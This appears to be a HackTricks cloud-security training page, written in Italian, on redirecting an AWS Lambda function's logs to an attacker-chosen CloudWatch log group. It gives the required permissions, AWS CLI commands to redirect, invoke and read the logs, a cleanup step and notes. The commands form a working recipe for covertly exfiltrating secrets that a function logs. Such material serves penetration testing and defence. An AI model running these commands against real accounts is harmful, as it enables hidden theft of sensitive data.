# AWS Lambda – Log Siphon via LoggingConfig.LogGroup Redirection

{{#include ../../../../banners/hacktricks-training.md}}

Sfrutta i controlli avanzati di logging di `lambda:UpdateFunctionConfiguration` per reindirizzare i log di una funzione verso un CloudWatch Logs log group scelto dall'attaccante. Questo funziona senza modificare il codice o il ruolo di esecuzione (la maggior parte dei ruoli Lambda include già `logs:CreateLogGroup/CreateLogStream/PutLogEvents` tramite `AWSLambdaBasicExecutionRole`). Se la funzione stampa secrets/request bodies o va in crash con stack traces, puoi raccoglierli dal nuovo log group.

## Permessi richiesti
- lambda:UpdateFunctionConfiguration
- lambda:GetFunctionConfiguration
- lambda:InvokeFunction (o affidarsi ai trigger esistenti)
- logs:CreateLogGroup (spesso non necessario se il ruolo della funzione lo ha)
- logs:FilterLogEvents (per leggere gli eventi)

## Passaggi
1) Crea un log group di destinazione
```
aws logs create-log-group --log-group-name "/aws/hacktricks/ht-log-sink" --region us-east-1 || true
```
2) Reindirizzare i log della funzione target
```
aws lambda update-function-configuration \
--function-name <TARGET_FN> \
--logging-config LogGroup=/aws/hacktricks/ht-log-sink,LogFormat=JSON,ApplicationLogLevel=DEBUG \
--region us-east-1
```
Attendi fino a quando `LastUpdateStatus` diventa `Successful`:
```
aws lambda get-function-configuration --function-name <TARGET_FN> \
--query LastUpdateStatus --output text
```
3) Invocare e leggere dal sink
```
aws lambda invoke --function-name <TARGET_FN> /tmp/out.json --payload '{"ht":"log"}' --region us-east-1 >/dev/null
sleep 5
aws logs filter-log-events --log-group-name "/aws/hacktricks/ht-log-sink" --limit 50 --region us-east-1 --query 'events[].message' --output text
```
## Impact
- Reindirizzare di nascosto tutti i log dell'applicazione/sistema verso un log group sotto il tuo controllo, aggirando l'aspettativa che i log finiscano solo in `/aws/lambda/<fn>`.
- Esfiltrare dati sensibili stampati dalla funzione o emersi negli errori.

## Cleanup
```
aws lambda update-function-configuration --function-name <TARGET_FN> \
--logging-config LogGroup=/aws/lambda/<TARGET_FN>,LogFormat=Text,ApplicationLogLevel=INFO \
--region us-east-1 || true
```
## Note
- I controlli di logging fanno parte del `LoggingConfig` di Lambda (LogGroup, LogFormat, ApplicationLogLevel, SystemLogLevel).
- Per impostazione predefinita, Lambda invia i log a `/aws/lambda/<function>`, ma puoi indicare qualsiasi nome di log group; Lambda (o il ruolo di esecuzione) lo creerà se consentito.

{{#include ../../../../banners/hacktricks-training.md}}
